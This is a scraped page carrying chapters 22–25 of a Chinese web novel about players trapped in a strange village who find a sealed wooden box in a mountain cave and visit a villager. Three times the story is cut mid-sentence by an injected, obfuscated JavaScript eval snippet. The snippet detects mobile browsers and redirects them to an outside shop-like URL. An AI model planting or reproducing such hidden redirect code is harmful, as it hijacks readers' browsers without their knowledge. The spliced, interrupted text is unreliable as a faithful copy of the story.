一边的溪源看着两人的互动,明明什么都想不起来,可脑海中却有一副模糊到只有影子的画面和面前的场景重合,他仿佛记得曾经也有一个很可爱的女孩子这样拉着自己的手,两人这样奔跑着,最后嬉闹着倒在草地上。记忆里什么都没有,但他觉得女孩应该有一头美丽的黑色长发,明亮的眼睛。但他为什么会有这样的感觉呢,他什么也想不起来。 远处有归和黎重跑了一段停了下来,并肩同行,因为身高差的关系,女孩说话时青年总是要将身体偏向她那一边,微微低头。 他看了许久,直到两人的身影消失在房屋后面,熟悉的感觉不断涌上来,脑海中却连一点碎片似的记忆都没有。他转身看向北方,太过茂盛的树木和房屋遮蔽了一切,只看见一角无法触及的天空。 孟溪村是被时间遗忘的地方,而他也忘记了所有,过去、现在与未来都和他无关,他注定要在这里腐烂。 可是,他无法抑制自己的渴望——真的好想看一眼孟溪村之外,那到底是怎样的世界,又有谁在等着自己? 22. 第 22 章 有归和黎重穿花过竹回到了小楼。 两人站在小楼的背面,黎重指着右前方的高山,说:“那就是西山了。” 西山虽然叫做西山,但并不是真的在孟溪村的正西边,也没有挨着村子,而是出了村子后还要走一段距离。 两人一路走来也发现了,孟溪村村民不多,村居也少,但树木和竹林是真的很多,家家户户房前屋后都栽了几丛花,此时开的正好。抛开那些诡异的地方不说,在孟溪村中行走当真是如行画中,环境十分宜居,简直就像是比着画卷和影视中淳朴乡村的样子长的。 村内风光宜人,村外更是风景如画美不胜收。 西山虽然有一个十分朴实的名字,但其实山峰挺拔秀丽,山脊向南一路延伸形成山脉,并与后山的山峰相连,和东边的山一起将孟溪村圈在里面。西山的东北方向大多是矮小的灌木,藤蔓低垂,有刺槐,有蔷薇,还有野生的猕猴桃。这一边应该是西山的阴坡,所以树木都长得矮小,虽然没有大块裸露的石头,但山体表面只有一层薄薄的泥土,山势陡峭,加之灌木丛生,非常难走。 另一边都是高大的树木,坡度和缓,他们走过去会花费更多时间,而且虽然省力,但因为路线更长,反而不一定会更早到达山顶。 黎重评估了一下抄近路上山的可能性,他自己倒没什么问题,于是转头问有归:“从这边直接翻上去,你做得到吗?”如果是周嘉语艾莉安他就不问了,两人高高大大身强体壮,翻山越岭完全没问题,他一点也不担心。 但有归不一样。 昨天在村外遇见她的时候,隔远了没发觉,等她走进黎重是真的震惊,以为这游戏已经无良到这个地步,连刚上初中的小朋友都不放过。当然后来发现有归虽然是小朋友,个人素质比绝大多数成年人都强,而且很有可能早被未科院吸收进去了——就变成了对生命培育机构的不信任,都星历3873年了,为什么矮个子这种基因还是没办法完全剔除,小的时候还好,等上了高中大学,不是校园霸凌的绝佳对象吗? 众人都有这样的担忧,所以面对有归时都有些小心翼翼,尽量照顾她,希望能弥补一些她内心的创伤。 只能说,这真是一个不太美丽的误会。 有归看见黎重的眼神,内心没觉得受伤,只是有些哭笑不得。被当成未成年已经够惨的了,现在好了,还要再加一条被霸凌的小可怜不说,还被认定是运动白痴。她实在懒得解释了,就让事实说话好了,点点头,示意自己可以。 二人抄近路的这一面坡度很大,乱石嶙峋,杂草丛生,有时几乎是无处下脚,全是光滑的石头和滑溜的草丛,只能拽着前面灌木的枝叶,一点一点地往上挪,找到可以借力的地方,再使劲直接爬上去。 黎重走在前面开路。 生在星历纪年的人们,对于登这种原始天然山峰的难度完全没有数,两人想到了要把身体包裹起来,免得被山林中带刺的树藤灌木划伤,却完全忘记了这种没有人开辟过的山路,矮树、灌木,草丛、藤蔓交织缠绕,不能通行,无法跨过,也无法绕路,几乎堵死了前进的可能。她们不知道从前的人们开路都是带一把大砍刀,一边走一边砍过去,把拦路的植物全部砍掉,用血肉之躯硬生生开出一条路来。 当遇到这样的“拦路虎”时,黎重完全束手无策,正打算和有归说要不绕一下路。有归从他身侧探出头来,看了看,说:“我来吧。” 她站在黎重让出来的位置上,低着头不知道鼓捣什么,只见她抬起手在空中划了两道,面前阻路的“绿墙”便倒下了。 两人带上厚手套把路清理出来,黎重问道:“你用的是什么东西?” “气刀。”说着她把一个巴掌大的、看上去跟普通折叠刀没啥区别的东西。 黎重拿过来看了看,没看懂怎么使用。他没问,有归也不会说。 把倒地的藤蔓树枝都清到一旁,两人直接坐在地上,暂时休息。 爬这种野山对体力的消耗是巨大的,鉴于营养粉末有点难咽,两人各叼了一只营养剂,像喝茶一样慢慢啜饮着,反正都要休息,倒也不十分着急。 下午三四点的太阳依旧很毒,黎重热得全身都是汗,把外套脱了,只剩下贴身穿着的背心,才觉得凉快了一些。 有归没觉得有多热,接过他已经拧开瓶盖的水,就着这个姿势欣赏黎重漂亮的肌肉。嗯,身材不错,她一边看一边喝水,一边还在心里比较。黎重被她看得无奈极了,“你是不是太理直气壮了?” “那我这样?”她转过头去,用双手捂住眼睛,手指之间悄悄分开,她从指缝中偷看。 这画面让黎重沉默,他看着有归落满阳光的漂亮脸庞,投降了:“你还是直接看吧。” 两人歇了十分钟,又继续往上攀爬。这种野生野长的山,要爬到它的顶上实在是对耐力和体力的莫大挑战。拦路的不只有地面的植物,还有经历了风雨阳光与时间考验的山体,那些奇形怪状凸立的大石块,才是真正让两人头疼的,好在石块本身被侵蚀过后早已不是光滑的模样,让她们不至于无从下手。 黎重抓住石块顶端的凸起,手脚一起用力,终于攀上了这块石头。还没来得及喘口气,他回身向下看,想要接应有归,哪知道他还没伸出手,有归的脑袋就从下面冒了出来,一下就上来了,看上去比他还轻松的样子。她微抬下巴,挑衅似的瞥了他一眼,黎重见状,没忍住伸手摸了摸她的头,“真像个小孩子。”这么记仇。 有归瞪了他一眼,一巴掌拍落他的手。这下黎重是彻底放心了——这种脾气怎么看都不像是被欺负了也不敢还手的样子,完全不是会被霸凌的对象。 大石前方是一个比较浅的风蚀洞,因为雨被上方的山顶挡住,这里十分干燥,满地尘土,只在洞口处生长着一片耐干旱的星星草。两人在这里做最后的休整,然后一鼓作气爬上山顶。 黎重找了块比较干净的地方,正要招呼有归过来坐,却见她抬头望着风蚀洞,一脸沉思。 “怎么了?”黎重走到她身边,也仰头打量着面前的洞口,但无论怎么看,都只是一个普普通通的洞而已。 有归没有转头,依旧在认真地看着这个洞,“你不觉得这里面很适合藏点什么东西吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16456903|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黎重没法理解她的脑回路,思维再跳跃也不至于看见个洞口就想到这里面有藏匿的线索吧,是因为想到三天后就是祭祖大典所以产生幻想了吗?这么逼迫自己可不好。 他想了想,宽慰她说:“别担心,我们肯定能在十七号之前解开谜题,拿到回家的钥匙。” 有归这回转头看他了,脸上神情莫名:“我没有担心这个,我们肯定会平安回家的。”她对此深信不疑。“你看看周围,虽然这个洞很浅,但因为山顶探出去很多,反而形成了特殊的环境。阳光照不进来,雨落不进来,只有风能带进少许水汽,所以才能保持这么干燥——藏封书信,放个匣子也不用担心会腐烂损坏,如果做过特殊处理,恐怕上千年也会保存的非常完好。” 她转身向洞外走去,指着下面的村子说:“而且这个地方正好面向孟溪村,就在他们的眼皮子底下,就算真动点什么手脚,恐怕也不会有人想到会放在这么正大光明的地方。”从孟溪村抬头向西看,这个洞口就像是一张大张着的兽嘴,实在是太过寻常的场景。因为太常见,所以人们反而不会觉得这里会隐藏着什么东西,这是利用了人们的思维盲区。 “这里很高,一路爬上来就算是我们两个身体素质也很不容易,更不要说其他人了。”谁也不会闲的没事跑到这里瞎转悠,就算是心血来潮想来这里看下风景,评估一下爬到这里的困难程度,要么爬到一半直接放弃,等好不容易上来赏了景,想到还要回去只想大嘴巴子抽死自己。 黎重勉强被她说服,但还有一个问题:“你怎么能确定这里藏着东西?” 有归调皮地眨了下眼睛,她睫毛很长,眼神清亮明澈,做这个动作的样子格外好看,语气天真无辜:“我说的是这里很适合藏东西,可没说一定能找到什么。” “所以你打算怎么做?”黎重觉得自己恐怕要换种心态看待有归了,他确实没遇到过这么跳脱的姑娘,之前还一副忧郁到需要他开解的模样,转眼就拿他开涮。“你不会是想把这个洞穴全部都找一遍吧。我得提醒你一下,虽然这个洞不是很大,但我们这次的目的地可是山顶,时间不多了哦。” “放心,不会浪费很多时间的。”有归先是看了看地面,然后视线慢慢往上抬,“换位思考一下,如果是我,有一样很重要很重要的东西,我希望后来的人能够找到它,这个地方不能被一眼看穿,要足够隐蔽,但又不是无法找到——我会把它藏在哪里呢?” 视线定格在头顶,“只有这个地方了吧,可真是灯下黑呢。” 咋一看,那里和其他地方并无区别,都是石头,一样的颜色,一样的质地。但细看的话,会捕捉到一丝不易察觉的亮光,暗沉沉的,不太像石头的光泽。 黎重随手捡起一块石头,掂了掂,有归说:“你瞄着边上砸,别把里面的东西弄坏了。” “知道了。”他说着,手一扬,石块向顶上冲去。两人清楚地看见,就在石头碰到那处的瞬间,那里忽然裂开了一个口子,有什么东西掉了下来,“砰”的一声激得尘土飞扬。 有归把地上的东西捡起来,“好像是个小匣子。” 23. 第 23 章 这东西藏在山体之间不知道多久了,然而表面依旧光洁如新,周身的灰尘只有薄薄的一层,应该是刚刚才沾染上的,很轻松就擦干净了。 是一个木匣子,不知道是用什么木材制成的,表面呈紫黑色,纹理非常漂亮细腻,还有淡淡的香味。原谅她们这些未来时代的土包子没见识,不管是有归还是黎重,完全不知道这是什么木头,只是凭借木匣子表现出来的特征,判断这个木材的珍贵程度。云上帝国和云国人一脉相承的追求,喜欢天然的、独特的东西,而这样的东西一般都很稀少,做成这个木匣子的木材一定非常贵重。 有归端详着这个匣子,说:“这个恐怕是沈凌璧的手笔。”1 她这么说当然是有依据的,她是没见过实物,但理论知识还是很丰富的。“这种极珍贵的木头都是寸木寸金,孟溪村这个封闭的样子,他们可能都没有现在用的货币,更别说去买东西了。根据我们之前搜集到的消息,孟溪村的沈氏在搬到这里来之前恐怕是一方大族,有这样珍贵的东西也不奇怪......” “不过也不能说就是沈凌璧吧,也许是其他人呢?”黎重把擦过匣子后变得脏兮兮的手帕收起来,自从遇到有归后,他随身携带的手帕的消耗量达到了前所未有的高度。他已经在思考以后该带多少才经得起有归的报废速度了。 有归认真地想了想,说:“我觉得还是沈凌璧的可能性比较大。”她举起一根手指,“第一,她是孟溪村的第一任村长,必然是有威望,能服众,也享受最好的待遇。这样的好东西除非是她主动送人,否则不会落在别人手里——会私藏的人也不会舍得把这种宝物放在这种地方。” 第二根手指举了起来,“第二,这周围我大致看过,风水极差,根本不合适人类居住。“她指着山下的孟溪村,”其实不用风水学说,普通人都能看出来这地方很糟糕,逃难的沈氏一族最后却选择在这里建立村庄——作为最终拍板的人,别人不知道这里面的隐情,她一定再清楚不过。” 这也是有归一直认定孟溪村的隐患在最开始就埋下的原因,如果不是在建村之前就出了岔子,孟溪村绝对不会是现在的孟溪村。最起码它不会出现在这个地方。 而真相会随着时间的流逝而褪色,除了最开始经历的人,后来者也只能依稀拼凑出事件的全貌。 有归觉得除了建村前出的岔子,后面孟溪村应该不会出什么大事。它太闭塞了,以至于村民都变得麻木而愚昧,她很难想象会有人忽然觉醒,然后以这样的方式将这个秘密留在这里,等待有缘人发现它。 如果不是沈凌璧,而是其他人放的,那就说明孟溪村可能遭遇了两次......无法言喻的事件。 光是想一想,都觉得有些窒息。 有归摇了摇头,把这些乱七八糟的想法甩出去,低头看着手里的匣子。不是她磨磨蹭蹭不想打开,而是......她抬头看向黎重,眼睛里满是困惑:“这匣子无法打开,它没有缝隙。”就像是一整块木头从里面雕琢而成。 黎重怔了一下,拿起匣子仔细查看,的确如有归所说,这匣子不能说是严丝合缝,只能说是浑然天成。因为它压根就没有缝。 拿起来摇一摇,能听到里面有东西晃动,两人面面相觑,沉默以对,不明白这东西是怎么放进去的。撬锁这条路也被堵死,缝都没有,哪来的锁。至于暴力打开,有归暂时不想这么做。匣子的主人能想到把东西藏在这里,又有这种浑然一体的东西,不会想不到这种做法,说不定里面设置了机关,只要不是按正确的方法打开,里面的东西立马销毁。 她们承担不起东西被销毁的后果。 黎重双手按在匣子上,细细摸索着,希望能有新的发现。抬头看见一张盈盈的笑脸,笑脸的主人期待地问他:“有发现吗?” 他摇头:“没有。”他连边边角角都检查过了,完全没有任何发现,这个匣子当真是浑然一体宛如天成。 有归把匣子塞进随身空间,“既然这样那就先不管了,我们先上山顶吧。” 正要行动,终端忽然收到了消息。 原来有归的终端消息提示是直接关闭的,如果有人要找有归,只能寄希望于她想起终端的存在,主打一个随缘。只是来到孟溪村后,因为怕错过他们的消息,有归才重新把终端的消息提醒打开。 见有归迟迟没有说话,黎重追问道:“怎么了?” 有归抿了抿唇,神情有些困惑:“艾莉安说村里所有房屋的门都是向村内开的。” 而朝向的那个方向,只有一个建筑。 那就是孟溪村的祠堂。 ****** “小心村民,和他们保持距离,有事立马联系。” 这是有归告诉周嘉语的话,三人都有些摸不着头脑。孟溪村的诡异有目共睹,生活在这里的村人肯定也正常不到哪去,她们自然是打起了十二分的精神,就怕哪句话说的不对,导致团灭。有归突然强调这件事,倒是让她们多想了几回,却也想不出个所以然来。 周嘉语邀请溪源和她们同行,不出所料被拒绝了,溪源表示自己想回去休息,想了想又告诫她们说:“不要和村民交谈太久,如果问的问题他们不想说,也不要对事情刨根问底。” 这个说法倒是和有归看法相似,周嘉语半是好奇半是套话,问道:“我看村民们都很淳朴善良,虽然是有些不太热情,你这么说,有什么原因吗?” “原因?”溪源笑了笑,“这个你们最好不要知道,按照我说的做就行了。时机到了我会告诉你们的。” 有归说的云里雾里,溪源这里也是谜语人,周嘉语本来是想抄现成的,结果根本没有答案。 溪源说:“想要打听村里的习俗或者是听故事,就从这里往前走。”他指了一个方向,“找院子里面栽种着天仙子的房屋,那是沈三姑的房子。嗯,沈三姑的话,你们倒是可以放心和她交流,不过也不要太执着得到问题的答案。” 周嘉语振作了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463051|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神,周嘉文和艾莉安眼睛也亮了起来,她们完全没想到会得到溪源那么多帮助。溪源给他们的建议的确说到了他们的心坎上,一路走来村民们都对他们爱答不理的,想要打听消息谈何容易,溪源这是帮他们在一团乱麻里扯出了线头。 三人对视了一眼,最后还是周嘉语点头拍板,决定去看看。 溪源忽然想起一事:“沈三姑那里有个小姑娘,之前高烧烧坏了脑子,你们不要提这件事,不然三姑会拿扫把把你们都扫地出门。” 她们都点头表示自己记住了,虽然不是什么高情商达人,但这点眼力见还是有的,故意戳别人伤疤这种事,她们做不出来。 和溪源告别,三人沿着他指的方向走去,艾莉安问道:“你们认识天仙子吗?” 两人都是摇头,艾莉安说:“我也不认识,村子里每家都种了好多花花草草,我们都不认识,要怎么找沈三姑?” “天仙子这个名字听上去应该是很美很仙的花,我们就找栽了漂亮花朵的人家呗,”周嘉语直接“望文生义”。 艾莉安说:“我觉得孟溪村栽的花都挺漂亮的。” “那就找最漂亮的那一家,”周嘉语说的斩钉截铁。 艾莉安没说错,村民们房前屋后的确种了很多花,不只是花株,还有花树。她们就看到前面一家院子里有一株合欢,树干高出屋子两倍有余,开满了粉白色的花。树下也种满了花,花株的形状有点奇怪,莲座状的叶丛,枝叶都长有柔毛,花形似钟,颜色淡黄浅紫,倒也不难看,只是和飘逸秀气的合欢花不太相衬。 艾莉安捧着本子,尽职尽责地记录着。 其实终端的功能很强大,不仅能记录,还能够复现还原场景,搭载的AI完全可以代替人类大脑思考,甚至比大脑更强悍。但她们都自觉关闭了其他功能,只留下了最基础的通信。 一方面几人的特质都决定了她们更愿意通过自己思考破局,而不是一味依赖AI,这也是故意为之,她们都在有意识地锻炼自己独立思考和解决问题的能力。一味依赖AI只会成为一个废人,在未来时代官方会养着你让你不致饿死,而在这里一个废人的结局,当然是被当作废料处理掉。 另一方面则是维持终端运转的能源比较特殊,她们被带到孟溪村完全是个意外,自然也不会想到要准备这个东西。因为昨晚肆无忌惮的使用,现在终端存储的能量已经不多了,在小楼的时候有归把能源重新分配过,如果只保留基础的通信功能,并且在小楼众人齐聚的时候把调到最低能耗,把通信都关了,那大家的终端还勉强能够支撑到十七号。 如果能源耗尽,那终端消耗的就是她们自己的生命力了。 这种消耗不会直接要她们的命,终端也会自动开启低耗能模式,但一场大病是跑不了的,严重的还会影响寿命。当生命力消耗殆尽,迎接她们的只有死亡。 所以不管十七号那天会发生什么,众人都要全力以赴,她们一直都在和死神比赛。 24. 第 24 章 艾莉安画的很认真,风水什么的她不懂,但有归把这件事交给她,她就会认真做好。她知道自己不是多么聪明的人,在自己最了解最熟悉的事情上都没法给出最好的建议,这让她有些沮丧,但她渴望自己能够帮上忙,哪怕是微不足道的小事,只要能帮上忙就好。 周嘉语一路上安静的有些异常,平时她是话最多的,她也很爱说,现在却皱着眉努力思索,艾莉安听见周嘉文问她:“你在想什么?” 看来周嘉文也十分了解自己妹妹的话痨属性,艾莉安嘴角忍不住上扬,又连忙压了下去,一心二用听周嘉语说:“我在想有归发的那句话是什么意思?” 虽然溪源也让她们和村民保持“距离”,但周嘉语觉得她们两个说的不是一个意思。溪源的意思是让她们言语谨慎,不要触怒村民,而有归说的保持距离恐怕是真正的物理距离,让她们离村民远一点。 这就很奇怪了。 她们今天的任务是从村民那里打探消息,看能不能得到新的线索,最好是交浅言深,让村民们信任她们,可以吐露更多的话。但你离人家远远的,看着就不亲近,谁还愿意跟你说心里话啊。 有归觉得村民可能会伤害她们? 可是就算村民会伤害她们,她们也不是不能应付。不是周嘉语自夸,孟溪村的村民可能是安逸太久了,看着都木呆呆的,不太灵光也不是灵活的样子,她们几个一人打俩完全没有问题,而且就算打不过还可以跑。五人里除了有归个个大长腿,就算是有归那小短腿速度也挺快,她刚刚亲眼看见了,不可能跑不过。 周嘉语忽然想起了她们在书房找到那六张纸条,代表着六个人,实际人数应该是这个的好几倍,这些人或许是和她们一样身份的玩家。其中有一个多次梦见柳笙死亡复现的场景,最后因为受不了这种折磨疯掉了。他为什么不逃呢? 他明明可以离开的,没有人会拦着他,村民们根本不在意村子里是多一份人还是少一个人——只要离开孟溪村,那些场景总不会一生都跟随他。 他为什么不逃离孟溪村? 他们为什么不逃离孟溪村? 昨天村口的老婆婆说,哪怕遇到大虫,哪怕摔下悬崖,也不要留在这里。她这话的意思其实是,离开这里,离开孟溪村就会遭遇意外。所以才会让她们从哪儿来就回哪儿去,因为孟溪村是一条不归路,一旦进入就再也无法回头。 有归一早就知道这件事,所以她从来没有想过向外界求助。因为孟溪村的问题从来只能内部解决。 周嘉语越想越深,想到了之前的一夜惊魂,她们进来的七个人,还不到一天就一死一失踪,而这一切只是因为一本不起眼的书。 卢易斯因为解开了那本书的封印而被怪物寄生,同时连累了她和戴洪乐。那怪物潜伏起来没有立刻溜走,是因为那时候天已经黑了,而且有卢易斯的身份遮掩,它可以白天再夺舍逃走。但后山那些婴儿变作的的婴诡让它感受到了危险,所以顾不得其他直接夺门逃走,然后害得卢易斯失去了自己的皮。 再回头捋一捋整个事件的过程,就像是把障目的那一片叶子挪走,一切都变得清晰无比。 【天黑后,无论村民还是外来者,都严禁在村中游荡,尽早上床睡觉;请记住,孟溪村是淳朴和谐的乡村,如果晚上听到什么声音,那都是你的幻觉,把被子拉到头顶尽快入睡,是这时候最明智的选择。】 在娱乐生活匮乏的时代,人们日出而作日落而息,太阳下山后就上床睡觉再正常不过,这样郑重其事的强调简直是欲盖弥彰不打自招。一到天黑就看不到村民,昨晚小楼那里出了那么大的事情也没有人来,是真的睡得太熟以至于没有听到,还是在假装熟睡以逃避婴诡的追杀? 孟溪村还有正常人吗? 难道村民们都是怪物? 周嘉语越想越觉得毛骨悚然,叹了口气,有气无力道:“看来我们今晚要熬夜了,真不开心。” 周嘉文和艾莉安都看着她,她对两人解释了一遍,本来是想交流一下的,结果她哥上下打量她一番,忽然说:“你们这些打游戏做游戏的是不是心眼都那么多,这么弯弯绕绕的地方都想得到。”艾莉安赞同地点头。 她瞪了两人一眼,没好气地说:“这不叫心眼多,这叫考虑周到。” “好了先找一下沈三姑,奇怪,怎么我们都走到村边了,怎么还没看到沈三姑家的房子呢?” 一路走来没看到溪源说的院子里种满了天仙子的房屋,三人觉得可能是自己偏离了路线,决定往右走一点,结果直接走回了村西小楼。 之前艾莉安只是简单地在图上标注出了小楼的位置,这次索性把小楼也加在图上,平面图是长方形的,小楼坐西朝东,门也开在东边。她心念一动,脑海中闪过什么东西,连忙去看自己之前画的村里的房屋,画的很简单,就是平面图加方位,还有一个开门的方向。特殊情况下,她们可能需要潜伏进村民家里,为了方便,大门的位置还是弄清楚的好。 要不是时间不允许,有归甚至想每户人家都探一探,弄清楚每户人家的格局。 孟溪村的房屋开门方向有些奇怪.... 就拿她们住的小楼前面的这一幢来说,明明是面南朝北的屋子,门却开在东南角。按理来说,不是应该把门开在北面才对吗?孟溪村东南西三个方向都是山,只有北边没有遮挡。就算她不懂任何风水学说,也知道大门要面向开阔处,不说别的,视觉上就舒服得多。 这完全不符合常理。 她们还没有完全走过孟溪村,也就是从西边一路走到位于北边的村口,再绕到东北角的破屋,在祠堂那又绕回了村西的小楼。艾莉安仔细查看自己画的图,发现从村口到小楼这一面的房屋,不管是什么朝向,大门都开在东南角,位置可能略有偏差,但大体方位是一致的。而村口向东把北边的屋子,门则是开在西南角。她们刚刚一路走来的这一边,是村子的西南方向,门是开向东北方的。 她把每一个方向的房屋大门面向向前画了一条直线,果然,肉眼看不出来,但线条却是在一点交汇,那个点的位置是——祠堂! 艾莉安怕自己弄错了,拉着周嘉文周嘉语兄妹俩前前后后跑过,连她们没有去过的南面都去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16466206|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这一面的房屋基本是坐南朝北,大门开角落,不出意外是朝向祠堂的。看来这并不是她画图出错,而是孟溪村的房屋布局就是这么诡异。 周嘉语头疼地揉了揉太阳穴,这已经触及到她的知识盲区了,“这都什么事啊,怎么一个小山村,还越挖越有,是不是到最后我们发现这里隐藏的秘密其实就是毁灭世界,我们其实是被选中拯救世界的英雄。” 她不过是白吐槽一句,艾莉安已经把这个发现发给有归了,连同她刚刚补充完整的布局图一起,“我不想当什么英雄,只要能够平安回家就好了。” 三人坐在通向后山的路口旁边的石头上,为了抓紧时间,她们刚才一路小跑,现在都热得满头大汗。周嘉文从背包里拿出毛巾一人发了一条,又拿了水出来,她们直接仰头咕嘟灌完一瓶水,又擦了汗,才觉得舒服了些。 这回周嘉语没忘记自己还带了零食,抓了一把糖果出来,每人分了一些。艾莉安含着糖果,说:“不知道有归她们到山顶没有?” 周嘉语往嘴里倒了几包跳跳糖,感觉口腔被弹得有些疼,但在这种物资匮乏的地方又舍不得吐掉,只好捂着腮帮子说道:“应该还没有,那座山看着挺高的,没那么好爬。” 艾莉安几口把糖果嚼碎吞下去,喝口水把甜蜜的味道冲掉,拒绝了周嘉语又递给她的糖果。周嘉语问她:“你不喜欢吃甜吗?” 她摇头:“不喜欢。” “那你没有口福了,我哥做的甜点最好吃了。‘浮烟纪’你听说过吗?那就是我哥开的甜点店,我哥是老板和唯一的甜点师。” ‘浮烟纪’是近几年很火的一家网红甜品店,火起来是因为一张老板兼甜点师的帅照。据说男老板帅的天怒人怨惨绝人寰,身材堪比男模,脾气也很好,声音也很好听。哪怕是在没有丑人的未来时代,极品的美貌依旧是稀缺的,“浮烟纪”就这样一炮而红。 艾莉安听说同学提起过这家店,但她一心扑在学习上,闲暇时间都用来看书打游戏,根本没时间网上冲浪。只是没想到会在这种地方见到浮烟纪的网红老板,看着周嘉文那张脸,就明白这家甜品店为什么会火了。 周嘉文笑了笑,比起周嘉语,他温和到几乎毫无攻击力,“其实也有不怎么甜的糕点,你可以尝试一下,或许你会喜欢这个味道。” “说起来,我们就这么来到这里,也不知道时间流速是怎么样的。”周嘉语站了起来,活动着身体,“要是一比一的话,等我们回去都好几天了,店员找不到你该报警了,到时候我们要怎么解释啊。” “照实说好了,”周嘉文说。 周嘉语正在做热身运动,转的幅度太大衣角旋飞,口袋里的糖果飞了出来。想到那是自己这几天仅有的零食,她走过去一一捡起来,一个人影忽然冲过来,撞到她身上。周嘉语被撞翻在地,那人爬起来赶紧捡地上的糖果,她正要生气,却发现这人个子小小,一脸憨笑,是熟人,就是昨天她们刚进村时见到的那个傻姑娘。 周嘉语忽然想起了什么,回头问两人,“溪源是不是说沈三姑那里有个脑袋被烧坏了的小姑娘?” 25. 第 25 章 两人都点头。 她想了想,蹲了下来,从口袋里抓出一把糖果展示给傻姑娘看,“你认识沈三姑吗?” 傻姑娘看见糖果那么多糖果眼睛忽然一亮,正准备上手抓,听到周嘉语的问题,咬着手指看了她好久,似乎觉得她不是坏人,用力地点了点头。 周嘉语柔声道:“大姐姐和大哥哥找沈三姑有事情,但我们找不到路了,你可以带我们去吗?这些糖可以全部送给你。” 傻姑娘点头又摇头,指了指自己的嘴巴,又伸手拉周嘉语的手:“妈妈妈妈,我吃......吃......” 被陌生小孩喊妈妈怪尴尬的,周嘉语看这孩子完全无法交流,也只能笑了笑,剥了一颗糖放进她嘴里。小孩吃的一脸满足,眼睛满是渴望地看着颜色鲜艳的糖果,周嘉语觉得好笑,抓起几颗糖放在她手心。 小孩捏着手心的糖果,露出一个笑容,伸手去拉周嘉语的手臂,话音略微有些含糊不清:“妈妈妈妈,走......” 哎,原来她听得懂啊。 周嘉语被小孩拽着走在前面,回头示意自己老哥和艾莉安赶紧跟上。 小孩在前面带路,这条路三人越走越眼熟,等到在一座房屋前停下,几人沉默了一会儿,周嘉语才问:“这里就是你家?” 小孩点头。 三人看了看那高大的合欢树,又看了看地上那微微垂头的铜铃状的花朵,更沉默了。不是,耍他们呢,这花哪里配得上天仙子这个名字?! 小孩已经蹦跳着跑过去,“妈妈妈妈......人......” 就见屋里走出来一个中年女人,吊梢眼细眉毛,看着就很精明刻薄的样子。 别看周嘉语在网络上呼风唤雨的,但她也没有跟疑似人外的物种打过交道啊,说话时觉得头皮都是麻的:“阿姨你好,我们是昨天才来到孟溪村的采风剧团成员,我叫周嘉语,这是我编剧周嘉文,这是助力艾莉安。” “哦,是你们啊。”沈三姑听着周嘉语的介绍,完全不意外的样子,“我听村口的跛脚老太说你们来的是七个人,怎么现在只有三个了,那四个是死了吗?” 笑容从脸上散去,周嘉语冷冷地看着沈三姑,说:“我们作为晚辈,是真心向您请教,只是您似乎不是我们想的和蔼长辈呢。看来您不想和我们交流,那就不打扰您了。”说着转身就走。 她们是有求于人,来之前也设想过很多场景,可以被嘲讽,可以被骂,可以受委屈,本来就不是平等的关系,但伙伴是她们的底线。卢易斯死了,戴洪乐执意将他埋葬,这是费力不讨好的事情,会耽误时间,也可能会引来不好的东西,但她们都没有反对甚至还主动帮忙。因为她们是一样的人,她们珍视生命,既珍惜自己的生命,也珍重别人的性命。 自然容不得旁人拿伙伴的生命玩笑。 见周嘉语她们要走,小孩很着急地拉住沈三姑的手,拼命地拽着她往前,一只手指着三人,哭闹着:“妈妈妈妈,不走......” 小孩攥紧的手掌心露出一点鲜艳的糖纸,沈三姑问:“是她们给你的?” 小孩拼命点头,“妈妈妈妈......” 周嘉语她们正走路呢,忽然有个人挡在她们面前,是沈三姑,依然是一幅刻薄面孔,语气却不知比刚才软和了多少:“方才是我唐突了,给你们赔个不是,希望你们不要见怪。” 三人只是看着她不说话,这前倨而后恭,谁知道她打的是什么主意。 小孩毛茸茸的脑袋凑过来,仰起脸来对她们笑,沈三姑忽然叹了口气:“刚才是我说话难听,你们怪我是应该的,只是希望你们不要对小余有什么偏见,难得她这么喜欢你们。” 周嘉语说:“我要纠正你一下,你不是说话难听,你刚才是在咒我们死。你这么紧张小余,要是有人这么咒她,难道你也会因为两句轻飘飘的话就放过了?” 沈三姑脸色一变,艾莉安以为她要发火,结果她却道:“是,将心比心,我刚才确实不应该。” 小余扭头看见她,直接伸手抱住她的腰,沈三姑摸着小余的脑袋说:“小余是两年前才来到我身边的,有了她,我才觉得日子还能过得下去。” 她恳切道:“你们不是想向我打听村子里的事吗?在这里一直站着也不舒服,去我家吧,我之前采的新茶还有,我们一边喝茶一边说吧。”她把小余抱起来,向家走去,三人你看看我我看看你,最后周嘉语先迈步跟上,两人随后跟了上来。 